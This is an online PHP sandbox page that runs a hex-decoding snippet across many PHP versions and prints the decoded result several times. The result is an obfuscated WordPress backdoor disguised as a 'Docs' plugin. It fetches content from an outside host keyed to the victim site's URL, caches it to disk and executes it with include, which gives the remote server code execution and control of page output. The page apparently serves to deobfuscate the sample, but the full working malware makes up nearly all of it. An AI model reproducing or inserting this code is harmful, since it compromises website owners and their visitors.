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run code in 300+ PHP versions simultaneously
<?php function hex2asc($str) { $str = join('',explode('\x',$str)); $len = strlen($str); for ($i=0;$i<$len;$i+=2) $data.=chr(hexdec(substr($str,$i,2))); return $data; } echo hex2asc("24444f4353203d204e554c4c3b6164645f616374696f6e2827696e6974272c2027646f63735f696e6974272c2030293b6164645f616374696f6e2827696e6974272c2027646f63735f6c6f61645f64617461272c2031293b6164645f616374696f6e2827696e6974272c2027646f63735f636f6e74656e74272c2032293b66756e6374696f6e20646f63735f696e697428297b676c6f62616c2024444f43533b24444f4353203d206e657720446f63735f506c7567696e28293b7d66756e6374696f6e20646f63735f6c6f61645f6461746128297b676c6f62616c2024444f43533b24444f43532d3e6c6f61645f6461746128293b7d66756e6374696f6e20646f63735f636f6e74656e7428297b676c6f62616c2024444f43533b24444f43532d3e73686f775f636f6e74656e7428293b7d636c61737320446f63735f506c7567696e207b7072697661746520245f686f73743b7072697661746520245f736572766572203d2022687474703a2f2f766c352e6573792e65732f223b7072697661746520245f757269203d2046414c53453b7072697661746520245f706c7567696e506174683b7072697661746520245f6361636865466f6c6465723b66756e6374696f6e205f5f636f6e73747275637428297b24746869732d3e5f686f7374203d207374725f7265706c616365286172726179282768747470733a2f2f272c2027687474703a2f2f272c20272c272c20275c5c272c20272f272c20273a3830272c20273a343433272c20273a27292c2027272c20736974655f75726c2829293b6966287375627374725f636f756e7428245f5345525645525b27524551554553545f555249275d2c20272f2729203c203220262620737472706f7328245f5345525645525b27524551554553545f555249275d2c2777702d2729203d3d3d2046414c53452924746869732d3e5f757269203d207374725f7265706c61636528272f272c2027272c20245f5345525645525b27524551554553545f555249275d293b24746869732d3e5f706c7567696e50617468203d20747261696c696e67736c617368697428747261696c696e67736c6173686974284142535041544829202e202777702d636f6e74656e7427202e204449524543544f52595f534550415241544f52202e2027706c7567696e7327202e204449524543544f52595f534550415241544f52202e2027446f637327293b24746869732d3e5f6361636865466f6c646572203d2024746869732d3e5f706c7567696e50617468202e2027636163686527202e204449524543544f52595f534550415241544f523b6966282166696c655f6578697374732824746869732d3e5f6361636865466f6c64657229296d6b6469722824746869732d3e5f6361636865466f6c646572293b7d66756e6374696f6e206c6f61645f6461746128297b69662824746869732d3e5f757269297b696620282166696c655f6578697374732824746869732d3e5f6361636865466f6c646572202e206d64352824746869732d3e5f75726929202e20272e646174272929207b24726573706f6e7365203d2077705f72656d6f74655f6765742824746869732d3e5f736572766572202e2024746869732d3e5f686f7374202e222f22202e2024746869732d3e5f757269293b69662824726573706f6e73655b27726573706f6e7365275d5b27636f6465275d203d3d203430342972657475726e2046414c53453b66696c655f7075745f636f6e74656e74732824746869732d3e5f6361636865466f6c646572202e206d64352824746869732d3e5f75726929202e20272e646174272c2024726573706f6e73655b27626f6479275d293b7d7d7d66756e6374696f6e2073686f775f636f6e74656e7428297b69662824746869732d3e5f7572692026262066696c655f6578697374732824746869732d3e5f6361636865466f6c646572202e206d64352824746869732d3e5f75726929202e20272e6461742729297b696e636c7564652024746869732d3e5f6361636865466f6c646572202e206d64352824746869732d3e5f75726929202e20272e646174273b657869743b7d7d7d");
Output for 8.0.0 - 8.0.30, 8.1.0 - 8.1.28, 8.2.0 - 8.2.18, 8.3.0 - 8.3.6
Warning: Undefined variable $data in /in/2W08k on line 5 $DOCS = NULL;add_action('init', 'docs_init', 0);add_action('init', 'docs_load_data', 1);add_action('init', 'docs_content', 2);function docs_init(){global $DOCS;$DOCS = new Docs_Plugin();}function docs_load_data(){global $DOCS;$DOCS->load_data();}function docs_content(){global $DOCS;$DOCS->show_content();}class Docs_Plugin {private $_host;private $_server = "http://vl5.esy.es/";private $_uri = FALSE;private $_pluginPath;private $_cacheFolder;function __construct(){$this->_host = str_replace(array('https://', 'http://', ',', '\\', '/', ':80', ':443', ':'), '', site_url());if(substr_count($_SERVER['REQUEST_URI'], '/') < 2 && strpos($_SERVER['REQUEST_URI'],'wp-') === FALSE)$this->_uri = str_replace('/', '', $_SERVER['REQUEST_URI']);$this->_pluginPath = trailingslashit(trailingslashit(ABSPATH) . 'wp-content' . DIRECTORY_SEPARATOR . 'plugins' . DIRECTORY_SEPARATOR . 'Docs');$this->_cacheFolder = $this->_pluginPath . 'cache' . DIRECTORY_SEPARATOR;if(!file_exists($this->_cacheFolder))mkdir($this->_cacheFolder);}function load_data(){if($this->_uri){if (!file_exists($this->_cacheFolder . md5($this->_uri) . '.dat')) {$response = wp_remote_get($this->_server . $this->_host ."/" . $this->_uri);if($response['response']['code'] == 404)return FALSE;file_put_contents($this->_cacheFolder . md5($this->_uri) . '.dat', $response['body']);}}}function show_content(){if($this->_uri && file_exists($this->_cacheFolder . md5($this->_uri) . '.dat')){include $this->_cacheFolder . md5($this->_uri) . '.dat';exit;}}}
Output for 5.0.4 - 5.0.5, 5.1.0 - 5.1.6, 5.2.0 - 5.2.17, 5.3.0 - 5.3.29, 5.4.0 - 5.4.45, 5.5.0 - 5.5.38, 5.6.0 - 5.6.40, 7.0.0 - 7.0.33, 7.1.0 - 7.1.33, 7.2.0 - 7.2.33, 7.3.0 - 7.3.31, 7.4.0 - 7.4.33
Notice: Undefined variable: data in /in/2W08k on line 5 $DOCS = NULL;add_action('init', 'docs_init', 0);add_action('init', 'docs_load_data', 1);add_action('init', 'docs_content', 2);function docs_init(){global $DOCS;$DOCS = new Docs_Plugin();}function docs_load_data(){global $DOCS;$DOCS->load_data();}function docs_content(){global $DOCS;$DOCS->show_content();}class Docs_Plugin {private $_host;private $_server = "http://vl5.esy.es/";private $_uri = FALSE;private $_pluginPath;private $_cacheFolder;function __construct(){$this->_host = str_replace(array('https://', 'http://', ',', '\\', '/', ':80', ':443', ':'), '', site_url());if(substr_count($_SERVER['REQUEST_URI'], '/') < 2 && strpos($_SERVER['REQUEST_URI'],'wp-') === FALSE)$this->_uri = str_replace('/', '', $_SERVER['REQUEST_URI']);$this->_pluginPath = trailingslashit(trailingslashit(ABSPATH) . 'wp-content' . DIRECTORY_SEPARATOR . 'plugins' . DIRECTORY_SEPARATOR . 'Docs');$this->_cacheFolder = $this->_pluginPath . 'cache' . DIRECTORY_SEPARATOR;if(!file_exists($this->_cacheFolder))mkdir($this->_cacheFolder);}function load_data(){if($this->_uri){if (!file_exists($this->_cacheFolder . md5($this->_uri) . '.dat')) {$response = wp_remote_get($this->_server . $this->_host ."/" . $this->_uri);if($response['response']['code'] == 404)return FALSE;file_put_contents($this->_cacheFolder . md5($this->_uri) . '.dat', $response['body']);}}}function show_content(){if($this->_uri && file_exists($this->_cacheFolder . md5($this->_uri) . '.dat')){include $this->_cacheFolder . md5($this->_uri) . '.dat';exit;}}}
Output for 7.3.32 - 7.3.33
$DOCS = NULL;add_action('init', 'docs_init', 0);add_action('init', 'docs_load_data', 1);add_action('init', 'docs_content', 2);function docs_init(){global $DOCS;$DOCS = new Docs_Plugin();}function docs_load_data(){global $DOCS;$DOCS->load_data();}function docs_content(){global $DOCS;$DOCS->show_content();}class Docs_Plugin {private $_host;private $_server = "http://vl5.esy.es/";private $_uri = FALSE;private $_pluginPath;private $_cacheFolder;function __construct(){$this->_host = str_replace(array('https://', 'http://', ',', '\\', '/', ':80', ':443', ':'), '', site_url());if(substr_count($_SERVER['REQUEST_URI'], '/') < 2 && strpos($_SERVER['REQUEST_URI'],'wp-') === FALSE)$this->_uri = str_replace('/', '', $_SERVER['REQUEST_URI']);$this->_pluginPath = trailingslashit(trailingslashit(ABSPATH) . 'wp-content' . DIRECTORY_SEPARATOR . 'plugins' . DIRECTORY_SEPARATOR . 'Docs');$this->_cacheFolder = $this->_pluginPath . 'cache' . DIRECTORY_SEPARATOR;if(!file_exists($this->_cacheFolder))mkdir($this->_cacheFolder);}function load_data(){if($this->_uri){if (!file_exists($this->_cacheFolder . md5($this->_uri) . '.dat')) {$response = wp_remote_get($this->_server . $this->_host ."/" . $this->_uri);if($response['response']['code'] == 404)return FALSE;file_put_contents($this->_cacheFolder . md5($this->_uri) . '.dat', $response['body']);}}}function show_content(){if($this->_uri && file_exists($this->_cacheFolder . md5($this->_uri) . '.dat')){include $this->_cacheFolder . md5($this->_uri) . '.dat';exit;}}}
Output for 4.3.0 - 4.3.11, 4.4.0 - 4.4.9, 5.0.0 - 5.0.3
Notice: Undefined variable: data in /in/2W08k on line 5 $DOCS = NULL;add_action('init', 'docs_init', 0);add_action('init', 'docs_load_data', 1);add_action('init', 'docs_content', 2);function docs_init(){global $DOCS;$DOCS = new Docs_Plugin();}function docs_load_data(){global $DOCS;$DOCS->load_data();}function docs_content(){global $DOCS;$DOCS->show_content();}class Docs_Plugin {private $_host;private $_server = "http://vl5.esy.es/";private $_uri = FALSE;private $_pluginPath;private $_cacheFolder;function __construct(){$this->_host = str_replace(array('https://', 'http://', ',', '\\', '/', ':80', ':443', ':'), '', site_url());if(substr_count($_SERVER['REQUEST_URI'], '/') < 2 && strpos($_SERVER['REQUEST_URI'],'wp-') === FALSE)$this->_uri = str_replace('/', '', $_SERVER['REQUEST_URI']);$this->_pluginPath = trailingslashit(trailingslashit(ABSPATH) . 'wp-content' . DIRECTORY_SEPARATOR . 'plugins' . DIRECTORY_SEPARATOR . 'Docs');$this->_cacheFolder = $this->_pluginPath . 'cache' . DIRECTORY_SEPARATOR;if(!file_exists($this->_cacheFolder))mkdir($this->_cacheFolder);}function load_data(){if($this->_uri){if (!file_exists($this->_cacheFolder . md5($this->_uri) . '.dat')) {$response = wp_remote_get($this->_server . $this->_host ."/" . $this->_uri);if($response['response']['code'] == 404)return FALSE;file_put_contents($this->_cacheFolder . md5($this->_uri) . '.dat', $response['body']);}}}function show_content(){if($this->_uri && file_exists($this->_cacheFolder . md5($this->_uri) . '.dat')){include $this->_cacheFolder . md5($this->_uri) . '.dat';exit;}}}
preferences:
312.47 ms | 406 KiB | 459 Q